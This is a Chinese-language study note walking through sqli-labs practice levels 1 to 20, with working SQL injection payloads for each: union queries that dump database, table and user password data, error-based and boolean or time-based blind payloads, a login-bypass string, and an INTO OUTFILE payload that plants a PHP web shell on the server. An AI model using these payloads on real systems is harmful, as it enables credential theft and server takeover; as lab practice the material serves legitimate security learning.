sqli-labs 1-20笔记之我只是笔记的搬运工,详情参照SQLI labs 靶场精简学习记录 | 国光 (sqlsec.com)
还有sqlilabs通关手册,感谢作者lcamry https://www.cnblogs.com/lcamry/category/846064.html
less1
判断注入点:?id=1'
报错,得知是单引号拼接id='$id'
(需要单引号来闭合)
1 | $id=$_GET['id']; |
联合注入union :需要有回显的,联合注入时id不要输入正确,否则union后查询的值不会回显
?id=-1' union select 1,2,3 --+
//判断回显的位置2,3?id=-1' union select 1,database(),3 --+
//获取数据库security?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
//获取所有数据库名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
//获取表名emails,referers,uagents,users?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
//获取列名id,username,password……?id=-1' union select 1,group_concat(concat(username,'|',password)),3 from users--+
,获取所有用户名和密码
报错注入:需要有错误提示的
1 | print_r(mysql_error()); |
1 | ?id=' union select 1,extractvalue(1,concat(0x7e,(select version())))%23 |
布尔盲注and left:正确和错误时应呈现不一样的界面
1 | ?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'--+ |
**LEFT(str,len)**:返回最左边的n个字符的字符串str
延时盲注sleep
1 | ?id=1' and if(ascii(substr(database(),1,1))>114,1,sleep(5))--+ |
**
length(database())
less2
数值型注入,不需要单引号闭合id=$id
less3
单引号+括号id=('$id')
id=1')--+
less4
双引号+括号id=("$id")
1 | $id = '"' . $id . '"'; |
?id=-1") union select 1,2,(select database())--+
less5
报错、布尔、延时
因为不输出查询的结果,这就导致不可以使用联合查询的注入方式
1 | if true: |
floor报错注入:?id=-1' union select 1,count(*),concat(0x3a,0x3a,(select user()),0 x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a--+
double型数据溢出:http://www.manongjc.com/detail/54-elzzpsnzxzagewz.html 试过,没用了
bigint溢出:试过,没用了
xpath报错:
?id=1' and extractvalue(1,concat(0x7e,(select user()),0x7e))--+
?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
数据重复性报错:?id=-1' union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x--+
,NAME_CONST函数表示创造一个列,由于此函数对参数有要求,可操作性不高,比如将version改成user会报错。
less6
同less5+双引号
less7
id=(('$id'))
单引号+双括号,因为这里把print_r(mysql_error());
给注释掉了,所以就不可以使用报错注入了,这个时候只能使用布尔盲注和延时盲注
outfile上传木马
首先获取到sqlilabs的绝对路径,在less7目录下才有写入权限
phpstudy搭建的环境下,在mysql的配置文件my.ini中mysqld下面添加secure_file_priv参数:secure_file_priv = ''
通过联合注入和into outfile
写入一句话木马:?id=-1')) union select 1,2,'<?php @eval($_post["mima"])?>' into outfile 'D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\7.php'--+
通过蚁剑连接:
less8
同less7+单引号
less9
只能用延时盲注
1 | if true: |
less10
同less9+双引号
LESS1-10皆为GET请求方式
以下为POST:POST 数据里面不能有 +
,这里得手动转换为空格
less11
同less1,单引号闭合
1 | 万能密码:admin' or '1'='1 --+ |
联合查询,可用#注释,
1 | uname=1' union select 1,group_concat(schema_name) from information_schema.schemata#&passwd=1 |
less17
对uname进行了过滤
1 | # uname 参数被过滤了 |
报错注入or盲注
less20
cookie